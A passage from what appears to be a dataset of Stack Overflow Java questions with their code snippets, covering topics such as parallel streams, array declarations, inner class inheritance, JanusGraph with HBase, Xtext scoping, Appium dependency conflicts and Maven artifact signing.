rank , @ prev_val : = winnings AS winnings , @ prev_rank : = @ rank AS prevRank , t.golferID FROM ( select g.golferID , sum ( winnings ) as winnings from results r join resultDetails rd on r.resultID = rd.resultID join golfers g on rd.golferID = g.golferID where r.status = ' C ' and r.compID = 1 group by golferID order by winnings desc ) AS t ) AS showRank WHERE golferID = 16",Convert SQL statement into mySQL stored procedure +Java,"I have written a method using Java streams which simply iterates over list of objects and returns true/false is certain condition is satisfiedJava Method : I have written a Mock test case for the same as well . When I execute the test case , the test succeeds , however I get project custom error stating that all threads created were not shutdown . I even tried using stream with try-with-resources with that noo did not help.Mock Test : P.S . I have debugged to confirm that when invokeSomeMethod ( ) is called , my mocked testList is returned.As far as I know , Java streams internally closes the threads it creates.Am I implementing this incorrectly ?","boolean method ( SampleObj sampleObj ) { List testList = invokeSomeMethod ( ) ; int result = testList .parallelStream ( ) .filter ( listObj - > ( listObj.getAttr ( ) = 1 ) ) .count ( listObj - > listObj.isAttr4 ( ) ) ; return ( result > 10 ) ; } @ Testpublic void testSomeMethod ( ) { SampleObj sampleObj1 = new SampleObj ( 10 , 20 , 30 , true ) ; SampleObj sampleObj2 = new SampleObj ( 10 , 20 , 30 , true ) ; SampleObj sampleObj3 = new SampleObj ( 10 , 20 , 30 , false ) ; SampleObj sampleObjTest = new SampleObj ( 10 , 20 , 30 , true ) ; List < SampleObj > testList = new ArrayList < SampleObj > ( ) ; testList.add ( sampleObj1 ) ; testList.add ( sampleObj2 ) ; testList.add ( sampleObj3 ) ; when ( mockedAttribute.invokeSomeMethod ( ) ) .thenReturn ( nodeList ) ; ClassToBeTested classTest = createGenericMockRules ( ) ; Assert.assertTrue ( classTest.method ( sampleObjTest ) ) ; }",Java Parallel Streams close thread +Java,Is there any difference between between these two array declaration syntax in java ? and Which one is preferred ?,int [ ] variableName ; int variableName [ ] ;,Difference between int [ ] variableName ; and int variableName [ ] ; +Java,"I am using a hierarchy of inner classes to represent some data in an application and I have run into an error message that I simply do not understand . My code can be boiled down to the following minimal example : Javac ( and my IDE of course ) fails to compile the code with the following error message : I did n't write this anywhere . There is no more code than provided above , so I assume javac has generated something related to the inner class.I have found another way to represent my data , so I am simply interested in a good explanation of why it does n't compile .",public class A { public class B extends A { } public class C extends B { } } A.java:3 : can not reference this before supertype constructor has been called public class C extends B { } ^1 error,Hierarchy of inner classes in Java +Java,"When I use normal for-loop , all elements in an array will initialize normally : But when I use a for-each loop.the array elements are still null , after the loop : I thought obj refers to a particular element in an array , so if I initialize it , the array element will be initialized as well.Why is n't that happening ?",Object [ ] objs = new Object [ 10 ] ; for ( int i=0 ; i < objs.length ; i++ ) objs [ i ] = new Object ( ) ; Object [ ] objs = new Object [ 10 ] ; for ( Object obj : objs ) obj = new Object ( ) ;,Why are n't array elements initialized in an enhanced for loop ? +Java,"Preface : this question has been asked here , but I 'm wondering specifically about the author 's specific meaning.I 'm reading through Thinking in Java , 3rd ed . Revision 4.0 , and Eckel shows this snippet in Chapter 4 , Initialization and Cleanup : And states the following : The first form is useful at times , but it ’ s more limited since the size of the array is determined at compile time . The second form provides a convenient syntax to create and call methods that can produce the same effect as C ’ s variable argument lists ( known as “ varargs ” in C ) . These can include unknown quantities of arguments as well as unknown types.I 've never known these to be different as Eckel describes . To my understanding , they are both arrays of static size . I do n't understand how the first is any more `` limited '' than the second.What 's he talking about ?","public class ArrayInit { public static void main ( String [ ] args ) { Integer [ ] a = { new Integer ( 1 ) , new Integer ( 2 ) , new Integer ( 3 ) , } ; Integer [ ] b = new Integer [ ] { new Integer ( 1 ) , new Integer ( 2 ) , new Integer ( 3 ) , } ; } }","If you 're explicitly initializing an Object array in Java , is including `` new Object [ ] '' different than not including it ?" +Java,"In C++ when I create an object like the following , then no more objects can be created for the same class.Here Box becomes an object and whenever we use Box again the compiler recognizes it as an object . But in the case of java this isn't.What is the reason behind this ?",Box Box ; //Box is the class Name Box Box = new Box ( ) ; Box box = new Box ( ) ; //valid,creating objects with same name as class in java +Java,"Using the Apache HttpAsyncClient Beta3 , when I load it up with up to 50 concurrent requests to a variety of servers it seems to start out fine , I get about 3000 urls procssed . But then I hit a wall where I get these connection reset by peer exceptions in the log . At this point the async client simply hangs.Connection reset by peer would be fine by its self , if the async client passed that on to my callback as an exception , but my callback code does n't get called and the whole thing just locks up .","2013-02-04 13:52:14,739 ERROR org.apache.http.nio.protocol.HttpAsyncRequestExecutor ( I/O dispatcher 9 ) : http-outgoing-139 [ ACTIVE ] HTTP protocol exception : Connection reset by peerjava.io.IOException : Connection reset by peer at sun.nio.ch.FileDispatcher.read0 ( Native Method ) at sun.nio.ch.SocketDispatcher.read ( SocketDispatcher.java:21 ) at sun.nio.ch.IOUtil.readIntoNativeBuffer ( IOUtil.java:202 ) at sun.nio.ch.IOUtil.read ( IOUtil.java:175 ) at sun.nio.ch.SocketChannelImpl.read ( SocketChannelImpl.java:243 ) at org.apache.http.impl.nio.reactor.SessionInputBufferImpl.fill ( SessionInputBufferImpl.java:97 ) at org.apache.http.impl.nio.codecs.AbstractMessageParser.fillBuffer ( AbstractMessageParser.java:115 ) at org.apache.http.impl.nio.DefaultNHttpClientConnection.consumeInput ( DefaultNHttpClientConnection.java:167 ) at org.apache.http.impl.nio.DefaultHttpClientIODispatch.onInputReady ( DefaultHttpClientIODispatch.java:125 ) at org.apache.http.impl.nio.DefaultHttpClientIODispatch.onInputReady ( DefaultHttpClientIODispatch.java:50 ) at org.apache.http.impl.nio.reactor.AbstractIODispatch.inputReady ( AbstractIODispatch.java:112 ) at org.apache.http.impl.nio.reactor.BaseIOReactor.readable ( BaseIOReactor.java:160 ) at org.apache.http.impl.nio.reactor.AbstractIOReactor.processEvent ( AbstractIOReactor.java:342 ) at org.apache.http.impl.nio.reactor.AbstractIOReactor.processEvents ( AbstractIOReactor.java:320 ) at org.apache.http.impl.nio.reactor.AbstractIOReactor.execute ( AbstractIOReactor.java:280 ) at org.apache.http.impl.nio.reactor.BaseIOReactor.execute ( BaseIOReactor.java:106 ) at org.apache.http.impl.nio.reactor.AbstractMultiworkerIOReactor $ Worker.run ( AbstractMultiworkerIOReactor.java:604 ) at java.lang.Thread.run ( Thread.java:662 )",Apache HttpAsyncClient hangs under load +Java,What is the Java equivalent of following C++ code ?,float f=12.5f ; int & i = reinterpret_cast < int & > ( f ) ;,How to reinterpret the bits of a float as an int +Java,"I have a temp file in /tmp that I want to archive somewhere so I tried : This fails because : /path/to/archive/dir/file.xml is not a directoryI know it ! But I just want to chose the destination file 's name.Up to now , I have some solutions which do not satisfy me : Create a temp directory with Files.createTempDirectory then move the temp file in it , rename it then move it to the destination directory.Copy the temp file in the archive directory then rename it there . But if the rename fails , I have some junk in the archive directory.Create an empty file in the archive directory and manually copy the content of the source file in it.A cleaner solution probably exists . Do you know it ?","import java.nio.file.Files ; [ ... ] Path source = Paths.get ( `` /tmp/path/to/file_123456789.xml '' ) ; Path destination = Paths.get ( `` /path/to/archive/dir/file.xml '' ) ; Files.copy ( source , destination ) .",Chose file name with Files.copy ( ) +Java,"The object model has an element ended of type Stringbut its actually only ever a boolean , ( I dont know the significance of the XmlJavaTypeAdapter annotation ) When output as XML givesso does n't really matter if defined as boolean or stringbut JSON output iswhen I need it to beI can not really change the object model so thought I might be able to map to the correct type in oxml.xml file , and triedbut it didnt like that .","public class LifeSpan { protected String begin ; protected String end ; @ XmlJavaTypeAdapter ( CollapsedStringAdapter.class ) protected String ended ; ... . < life-span > < begin > 1999-04 < /begin > < ended > true < /ended > < /life-span > `` life-span '' : { `` begin '' : `` 1999-04 '' , `` ended '' : `` true '' } , `` life-span '' : { `` begin '' : `` 1999-04 '' , `` ended '' : true } , < java-type name= '' LifeSpan '' > < java-attributes > < xml-element java-attribute= '' ended '' type= '' boolean '' / > < /java-attributes > < /java-type >",Can I get MOXy to convert a string to a boolean when generating json +Java,"I 'm trying to figure out if the code below suffers from any potential concurrency issues . Specifically , the issue of visibility related to volatile variables . Volatile is defined as : The value of this variable will never be cached thread-locally : all reads and writes will go straight to `` main memory '' For the above single threaded executor : Is it okay to make test.state non volatile ? In other words , will every successive Test.run ( ) ( which will occur sequentially and not concurrently because again executor is single threaded ) , always see the updated test.state value ? If not , does n't exiting of Test.run ( ) ensure any changes made thread locally get written back to main memory ? Otherwise when does changes made thread locally get written back to main memory if not upon exiting of the thread ?",public static void main ( String [ ] args ) { Test test = new Test ( ) ; // This will always single threaded ExecutorService ex = Executors.newSingleThreadExecutor ( ) ; for ( int i=0 ; i < 10 ; ++i ) ex.execute ( test ) ; } private static class Test implements Runnable { // non volatile variable in question private int state = 0 ; @ Override public void run ( ) { // will we always see updated state value ? Will updating state value // guarantee future run 's see the value ? if ( this.state ! = -1 ) this.state++ ; } },"Concurrency , object visibility" +Java,"I am using JanusGraph Java API , with HBase as storage backendOne thing I have to mention is that I can successfully run the same commands in JanusGraph shell , gremlin.shThe log before the error is below , which happens during the opening of the graph instance , JanusGraphFactory.open ( jg.properties ) and the error is I have no idea with this TemporaryBackendException , has anyone met this before ? part of the janusgraph config is where cdh-master1,2,3 are zookeeper quorum , version JanusGraph 2.0 , HBase 1.2The full stack trace is part of my pom.mxl including the dependency information is","07:20:46.169 [ main-SendThread ( cdh-master1:2181 ) ] DEBUG org.apache.zookeeper.ClientCnxn - Reading reply sessionid:0x263f89ba9d56ce2 , packet : : clientPath : null serverPath : null finished : false header : : 3,8 replyHeader : : 3,55834924519,0 request : : '/hbase , F response : : v { 'replication , 'meta-region-server , 'rs , 'splitWAL , 'backup-masters , 'table-lock , 'flush-table-proc , 'region-in-transition , 'online-snapshot , 'master , 'running , 'recovering-regions , 'draining , 'namespace , 'hbaseid , 'table } 07:20:46.182 [ main ] WARN o.j.d.hbase.HBaseStoreManager - Unexpected exception during getDeployment ( ) java.lang.RuntimeException : org.janusgraph.diskstorage.TemporaryBackendException : Temporary failure in storage backendat org.janusgraph.diskstorage.hbase.HBaseStoreManager.getDeployment ( HBaseStoreManager.java:364 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] at org.janusgraph.diskstorage.hbase.HBaseStoreManager.getFeatures ( HBaseStoreManager.java:403 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] at org.janusgraph.graphdb.configuration.GraphDatabaseConfiguration. < init > ( GraphDatabaseConfiguration.java:1377 ) [ jar : rsrc : janusgraph-core-0.2.0.jar ! / : na ] at org.janusgraph.core.JanusGraphFactory.open ( JanusGraphFactory.java:164 ) [ jar : rsrc : janusgraph-core-0.2.0.jar ! / : na ] at org.janusgraph.core.JanusGraphFactory.open ( JanusGraphFactory.java:133 ) [ jar : rsrc : janusgraph-core-0.2.0.jar ! / : na ] at org.janusgraph.core.JanusGraphFactory.open ( JanusGraphFactory.java:80 ) [ jar : rsrc : janusgraph-core-0.2.0.jar ! / : na ] gremlin.graph=org.janusgraph.core.JanusGraphFactorycluster.max-partitions=64storage.backend=hbasestorage.batch-loading=truestorage.hostname=cdh-master1 , cdh-master2 , cdh-master3 at my.graph.Graph. < clinit > ( Graph.java:7 ) [ rsrc : ./ : na ] at my.graph.App.main ( App.java:24 ) [ rsrc : ./ : na ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na:1.8.0_171 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na:1.8.0_171 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na:1.8.0_171 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) ~ [ na:1.8.0_171 ] at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main ( JarRsrcLoader.java:58 ) [ janus.jar : na ] Caused by : org.janusgraph.diskstorage.TemporaryBackendException : Temporary failure in storage backendat org.janusgraph.diskstorage.hbase.HBaseStoreManager.ensureTableExists ( HBaseStoreManager.java:739 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] at org.janusgraph.diskstorage.hbase.HBaseStoreManager.getLocalKeyPartition ( HBaseStoreManager.java:524 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] at org.janusgraph.diskstorage.hbase.HBaseStoreManager.getDeployment ( HBaseStoreManager.java:361 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] ... 12 common frames omittedCaused by : org.apache.hadoop.hbase.DoNotRetryIOException : java.lang.IllegalAccessError : tried to access method com.google.common.base.Stopwatch. < init > ( ) V from class org.apache.hadoop.hbase.zookeeper.MetaTableLocatorat org.apache.hadoop.hbase.client.RpcRetryingCaller.translateException ( RpcRetryingCaller.java:229 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.RpcRetryingCaller.callWithoutRetries ( RpcRetryingCaller.java:202 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ClientScanner.call ( ClientScanner.java:320 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ClientScanner.nextScanner ( ClientScanner.java:295 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ClientScanner.initializeScannerInConstruction ( ClientScanner.java:160 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ClientScanner. < init > ( ClientScanner.java:155 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.HTable.getScanner ( HTable.java:821 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.MetaTableAccessor.fullScan ( MetaTableAccessor.java:602 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.MetaTableAccessor.tableExists ( MetaTableAccessor.java:366 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.HBaseAdmin.tableExists ( HBaseAdmin.java:303 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.janusgraph.diskstorage.hbase.HBaseAdmin1_0.tableExists ( HBaseAdmin1_0.java:111 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] at org.janusgraph.diskstorage.hbase.HBaseStoreManager.ensureTableExists ( HBaseStoreManager.java:716 ) ~ [ jar : rsrc : janusgraph-hbase-0.2.0.jar ! / : na ] ... 14 common frames omittedCaused by : java.lang.IllegalAccessError : tried to access method com.google.common.base.Stopwatch. < init > ( ) V from class org.apache.hadoop.hbase.zookeeper.MetaTableLocatorat org.apache.hadoop.hbase.zookeeper.MetaTableLocator.blockUntilAvailable ( MetaTableLocator.java:596 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.zookeeper.MetaTableLocator.blockUntilAvailable ( MetaTableLocator.java:580 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.zookeeper.MetaTableLocator.blockUntilAvailable ( MetaTableLocator.java:559 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ZooKeeperRegistry.getMetaRegionLocation ( ZooKeeperRegistry.java:61 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ConnectionManager $ HConnectionImplementation.locateMeta ( ConnectionManager.java:1185 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ConnectionManager $ HConnectionImplementation.locateRegion ( ConnectionManager.java:1152 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.RpcRetryingCallerWithReadReplicas.getRegionLocations ( RpcRetryingCallerWithReadReplicas.java:300 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ScannerCallableWithReplicas.call ( ScannerCallableWithReplicas.java:151 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.ScannerCallableWithReplicas.call ( ScannerCallableWithReplicas.java:59 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] at org.apache.hadoop.hbase.client.RpcRetryingCaller.callWithoutRetries ( RpcRetryingCaller.java:200 ) ~ [ jar : rsrc : hbase-client-1.1.2.jar ! / : na ] ... 24 common frames omitted < dependency > < groupId > org.janusgraph < /groupId > < artifactId > janusgraph-core < /artifactId > < version > 0.2.0 < /version > < /dependency > < dependency > < groupId > org.janusgraph < /groupId > < artifactId > janusgraph-hbase < /artifactId > < version > 0.2.0 < /version > < /dependency > < dependency > < groupId > org.apache.hbase < /groupId > < artifactId > hbase-client < /artifactId > < version > 1.1.2 < /version > < /dependency >",TemporaryBackendException while using JanusGraph Java API and HBase +Java,"Xtext 2.9 changed the way scope providers work and I do n't understand how they work now.Let 's say I have the following grammar : For the Reference clause to work , I need a scope provider.XText 2.9 generates the following scope provider code for you ( in MyDslScopeProvider.xtend ) : AbstractMyDslScopeProvider has no methods of it 's own , it just inherits from DelegatingScopeProvider.I ca n't wrap my head around how this works or where the code for the scope lookup should go . The `` documentation '' does n't really help , because there 's only useless code snippets instead of a complete working example.Earlier versions of XText used AbstractDeclarativeScopeProvider and that was quite easy to understand and use , pre 2.9 it would have been :","grammar org.xtext.example.mydsl.MyDsl with org.eclipse.xtext.common.Terminalsgenerate myDsl `` http : //www.xtext.org/example/mydsl/MyDsl '' Model : ( ( things+=Thing ) | ( refs+=Reference ) ) * ; Thing : 'thing ' name=ID ' { ' stuff += Stuff* ' } ' ; Stuff : 'stuff ' name=ID ; Reference : 'reference ' thing= [ Thing ] stuff= [ Stuff ] ; class MyDslScopeProvider extends AbstractMyDslScopeProvider { } class MyDslScopeProvider extends AbstractDeclarativeScopeProvider { def IScope scope_Reference_stuff ( Reference reference , EReference ref ) { scopeFor ( reference ? .thing.stuff ) } }",Xtext 2.9 scope provider +Java,Good day ! I am a little bit confused . I want to use a calendar so I searched it in the internet and encountered the following code : But I learned that this is a static method : How come I can get the Instance of the Calendar ( Abstract Class ) if the method called is static ? I really want to understand it . So next time I can also create a Static method that can create an instance . Thank you .,"Ca1endar c = Calendar.getlnstance ( ) ; c.set ( 2011,2 , 5,1,25 ) ; Calendar.getlnstance ( ) ;",Calling the instance of a static method +Java,I need to build a webservice with Jersey that downloads a big file from another service and returns to the client.I would like jersey to read some bytes into a buffer and write those bytes to client socket . I would like it to use non blocking I/O so I dont keep a thread busy . ( This could not be achieved ) So far I have this code and I believe Jersey would download the complete file and then write it to the client which is not what I want to do.any thoughts ? ?,"@ GET @ Path ( `` mypath '' ) public void getFile ( final @ Suspended AsyncResponse res ) { Client client = ClientBuilder.newClient ( ) ; WebTarget t = client.target ( `` http : //webserviceURL '' ) ; t.request ( ) .header ( `` some header '' , `` value for header '' ) .async ( ) .get ( new InvocationCallback < byte [ ] > ( ) { public void completed ( byte [ ] response ) { res.resume ( response ) ; } public void failed ( Throwable throwable ) { res.resume ( throwable.getMessage ( ) ) ; throwable.printStackTrace ( ) ; //reply with error } } ) ; }",Jersey webservice scalable approach to download file and reply to client +Java,"I am having trouble with the Appium java client because it seems they did weird things with their project.Basically , they are using Selenium in their project which should work just fine but they copied one package from Selenium partly to their project ( org.openqa.selenium ) and made some small adaptions to the classes inside . Basically , they added generics to the interfaces . Now we have duplicate classes in the same package in different libraries which of course leads to problems.I created a simple Gradle project to demonstrate that.Following my build.gradle : And my class Interactions.java : Now if I compile that project I get the following error : I think it is ambiguous because the interface WebElement exists twice.How can I fix that problem ? Using appium-client < = 4.0.0 would work , but I need a newer version.Currently , I just deleted the duplicate package from the jar and included this jar into my project . I really just deleted it with 7zip . This clears that compilation error but I will probably soon face other problems because the appium jar is not complete and the appium project would not even compile without that package . The Selenium guys probably wo n't change anything ( https : //github.com/SeleniumHQ/selenium/pull/863 ) .The Appium guys probably do n't know how to fix that , so am I : https : //github.com/appium/java-client/issues/1021Solution : With help of the accepted answer I was able to fix those issues.Although I needed to come up with a slightly different solution.The problem I faced was that classes which called my Interactions.java needed those casts too which would lead in 1000+ adaptions . To prevent this I changed my methods to take Object as parameter : It might not be an optimal solution but it works and wo n't need changes in all our other classes and everyone can work with those Interaction methods as until now .","plugins { id 'java-library ' } dependencies { api 'io.appium : java-client:6.1.0 ' } repositories { jcenter ( ) } import org.openqa.selenium.By ; import org.openqa.selenium.WebDriver ; import org.openqa.selenium.WebElement ; public class Interactions { public static void touchWebElement ( By by , WebDriver driver ) { touchWebElement ( driver.findElement ( by ) , driver ) ; } public static void touchWebElement ( WebElement element , WebDriver driver ) { // DO SOMETHING } } The method touchWebElement ( By , WebDriver ) is ambiguous for the type Interactions Interactions.java line 8 import org.openqa.selenium.By ; import org.openqa.selenium.WebDriver ; import org.openqa.selenium.WebElement ; public class Interactions { public static void touchWebElement ( Object object , WebDriver driver ) { WebElement webElement = castObjectToWebElement ( element , driver ) ; //DO SOMETHING } private static WebElement castObjectToWebElement ( Object object , WebDriver driver ) { if ( object instanceof WebElement ) { return ( WebElement ) object ; } else if ( object instanceof By ) { return driver.findElement ( ( By ) object ) ; } throw new IllegalArgumentException ( `` Invalid type '' ) ; } }",Duplicate classes in different Java libraries leads to compilation errors +Java,"We have some web services which are being consumed by mobile clients , in which the mobile clients make some request 's and we return response to them . Somehow if the client make any invalid request we throw Custom Exceptions .But recently the mobile client has made some request which was out of range for Long variable . The client has different variables for ex : :In case of the value for accountId or Amount are made more than 19 digits we get HttpMessageNotReadable exception as the range is out of long value . But from exception i am not able to fetch for which variable the exception has been raised whether for accountId or Amount . From the exception i am getting this information in _path variable but i am not able to fetch it.And in the path variable i get something like : :Does somebody know how to fetch this information .","{ `` accountId '' : '' 343 '' `` Amount '' : '' 90909090909090909090 '' } [ com.Upload [ `` AccountInfo '' ] , com.Info [ `` Account '' ] ]",Get path variable out of HttpMessageNotReadable exception +Java,"I 'm trying to understand why the following Java program gives an OutOfMemoryError , while the corresponding program without .parallel ( ) doesn't.I have two questions : What is the intended output of this program ? Without .parallel ( ) it seems that this simply outputs sum ( 1+2+3+ ... ) which means that it simply `` gets stuck '' at the first stream in the flatMap , which makes sense.With parallel I do n't know if there is an expected behaviour , but my guess would be that it somehow interleaved the first n or so streams , where n is the number of parallel workers . It could also be slightly different based on the chunking/buffering behaviour.What causes it to run out of memory ? I 'm specifically trying to understand how these streams are implemented under the hood.I 'm guessing something blocks the stream , so it never finishes and is able to get rid of the generated values , but I do n't quite know in which order things are evaluated and where buffering occurs.Edit : In case it is relevant , I 'm using Java 11.Editt 2 : Apparently the same thing happens even for the simple program IntStream.iterate ( 1 , i- > i+1 ) .limit ( 1000_000_000 ) .parallel ( ) .sum ( ) , so it might have to do with the lazyness of limit rather than flatMap .","System.out.println ( Stream .iterate ( 1 , i - > i+1 ) .parallel ( ) .flatMap ( n - > Stream.iterate ( n , i - > i+n ) ) .mapToInt ( Integer : :intValue ) .limit ( 100_000_000 ) .sum ( ) ) ;",Parallel Infinite Java Streams run out of Memory +Java,"I have a HorizontalGridView and all is working well , however I am loading images with Picasso and whenever an image loads , the HorizontalGridView snaps back to the first item/starting scroll position . I also have a map fragment on the activity and notice that when the map is interacted with , the HorizontalGridView displays the the same behavior . Below is the adapter code . Please help , have been stuck on this one for a couple of days now ... }","public class GridElementAdapter extends RecyclerView.Adapter < GridElementAdapter.SimpleViewHolder > { private Context context ; private Deal [ ] mDeals ; public GridElementAdapter ( Context context , Deal [ ] deals ) { this.context = context ; this.mDeals = deals ; } public static class SimpleViewHolder extends RecyclerView.ViewHolder { public final ImageView dealImage ; public final TextView dealTitle ; public final TextView dealSubtitle ; public final TextView dealPrice ; public final TextView dealTime ; public final TextView dealDays ; public SimpleViewHolder ( View view ) { super ( view ) ; dealImage = ( ImageView ) view.findViewById ( R.id.gridDealImageView ) ; dealTitle = ( TextView ) view.findViewById ( R.id.gridTitleLabel ) ; dealSubtitle = ( TextView ) view.findViewById ( R.id.gridSubtitleLabel ) ; dealPrice = ( TextView ) view.findViewById ( R.id.gridPriceLabel ) ; dealTime = ( TextView ) view.findViewById ( R.id.gridAvailableTimeLabel ) ; dealDays = ( TextView ) view.findViewById ( R.id.gridAvailableDaysLabel ) ; } } @ Overridepublic SimpleViewHolder onCreateViewHolder ( ViewGroup parent , int viewType ) { final View view = LayoutInflater.from ( this.context ) .inflate ( R.layout.deal_grid_item , parent , false ) ; return new SimpleViewHolder ( view ) ; } @ Overridepublic void onBindViewHolder ( SimpleViewHolder holder , final int position ) { String dealImageUrl = `` http : //api.cheapeat.com.au/deals/ '' + mDeals [ position ] .getPhotoId ( ) + `` /photo '' ; Context context = holder.dealImage.getContext ( ) ; Picasso.with ( context ) .load ( dealImageUrl ) .placeholder ( R.drawable.deal_image_placeholder ) .into ( holder.dealImage ) ; holder.dealTitle.setText ( mDeals [ position ] .getName ( ) ) ; holder.dealPrice.setText ( mDeals [ position ] .getPriceData ( ) ) ; holder.dealSubtitle.setText ( mDeals [ position ] .getDescription ( ) ) ; holder.dealTime.setText ( mDeals [ position ] .getAvailabilityTime ( ) ) ; holder.dealDays.setText ( mDeals [ position ] .getFormattedAvailableDays ( mDeals [ position ] .getAvailabilityDay ( ) ) ) ; } @ Overridepublic long getItemId ( int position ) { return position ; } @ Overridepublic int getItemCount ( ) { return this.mDeals.length ; }",HorizontalGridView/ RecyclerView scroll position resets once Picasso image loads +Java,"I need to pass a Class as an argument , but I only have the generic type T. How can I infer the generic Class and pass it to fromJson ( ) ? Thanks","public class Deserializer < T > implements JsonDeserializer < JsonList < T > > { public T someMethod ( ) { ... T tag = gson.fromJson ( obj , ? ? ? ) ; // takes a class e.g . something.class ... } }",Passing a generic Class < T > as an argument +Java,Found this code on http : //www.docjar.com/html/api/java/util/HashMap.java.html after searching for a HashMap implementation.Can someone shed some light on this ? The comment tells us why this code is here but I would like to understand how this improves a bad hash value and how it guarantees that the positions have bounded number of collisions . What do these magic numbers mean ?,264 static int hash ( int h ) { 265 // This function ensures that hashCodes that differ only by 266 // constant multiples at each bit position have a bounded 267 // number of collisions ( approximately 8 at default load factor ) . 268 h ^= ( h > > > 20 ) ^ ( h > > > 12 ) ; 269 return h ^ ( h > > > 7 ) ^ ( h > > > 4 ) ; 270 },OpenJDK 's rehashing mechanism +Java,"I 'm attempting to release my project 's artifacts to Sonatype using Maven . I 'm using the Maven GPG plugin to sign the artifacts , but it 's not signing the sources and javadoc jars ( just the main jar ) , which is required by Sonatype . Here 's what I think are the relevant parts of my pom.xml : Is there any way to tell it to sign these others jars too ?",< plugins > ... < plugin > < artifactId > maven-source-plugin < /artifactId > < executions > < execution > < id > attach-sources < /id > < phase > install < /phase > < goals > < goal > jar-no-fork < /goal > < /goals > < /execution > < /executions > < /plugin > < plugin > < artifactId > maven-javadoc-plugin < /artifactId > < executions > < execution > < id > attach-javadocs < /id > < phase > install < /phase > < goals > < goal > jar < /goal > < /goals > < /execution > < /executions > < /plugin > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-gpg-plugin < /artifactId > < executions > < execution > < id > sign-artifacts < /id > < phase > verify < /phase > < goals > < goal > sign < /goal > < /goals > < /execution > < /executions > < /plugin > ... < /plugins >,Maven GPG plugin not signing sources and javadoc jars +Java,"What is the appropriate definition of the hashCode method in class Person ? A. return super.hashCode ( ) ; B. return name.hashCode ( ) + age * 7 ; C. return name.hashCode ( ) + comment.hashCode ( ) / 2 ; D. return name.hashCode ( ) + comment.hashCode ( ) / 2 - age * 3 ; The answer is B.Can someone explain , why C and D are wrong ?","public class Person { private String name , comment ; private int age ; public Person ( String n , int a , String c ) { name = n ; age = a ; comment = c ; } public boolean equals ( Object o ) { if ( ! ( o instanceof Person ) ) return false ; Person p = ( Person ) o ; return age == p.age & & name.equals ( p.name ) ; } }",Things to keep in mind while overriding hashCode +Java,"As a practical example of the general question in the subject , I 'd like to implement the containsAll method in the Set interface withI figure this should be allowed , since Collection is Iterable meaning such a containsAll would cover the interface requirement . Likewise , more generally being able to implement interfaces with argument superclasses seems like it should work.However , Eclipse says no way ( have n't tried just javac straight-up ) - can someone explain the reason for that ? I 'm sure there 's something in the spec which makes it the way it is , but I 'd like to understand the motivation for requirement as well . Or am I missing something like Iterable < ? > not being a superclass of Collection < ? > ? As a side question - given I 'm declaring two methods would the method with the Iterable signature always be preferred on calls with a Collection argument ? Eclipse Error : If I remove the method with the Collection signature , just leaving the Iterable one ( see after error ) , I get the following : The type BitPowerSet must implement the inherited abstract method Set < Long > .containsAll ( Collection < ? > ) The exact implementation being :",public boolean containsAll ( Iterable < ? > c ) { /* ... */ } @ Override public boolean containsAll ( Collection < ? > c ) { for ( Object o : c ) if ( ! contains ( o ) ) return false ; return true ; } public boolean containsAll ( Iterable < ? > c ) { for ( Object o : c ) if ( ! contains ( o ) ) return false ; return true ; },Interface implementation with method argument superclasses +Java,"I 'm trying to learn the details of using the Stream API , and one of the assignments I gave myself was to try to write a method that takes an infinite DoubleStream and tries to compute the sum ( assuming it converges ) . That is , I 'd like to write a methodthat I could call with something liketo get the sum ( 1 + 1/22 + 1/32 + ... ) = ζ ( 2 ) = π2/6.My crude method for doing this the old way : which gives me a result accurate to 5 places.I can implement the method in a hacked way using iterator ( ) : but that just feels like reverting to the old way , and I was looking for a method that used streams more the way they were intended to be used , or something.This produces the correct result : but I happened to know that the old method used almost 800000 terms , and putting a limit on the stream defeats my purpose . The problem is that I do n't see a way to cut off a stream other than by using limit ( ) , which means that I have to know beforehand how many terms I 'm 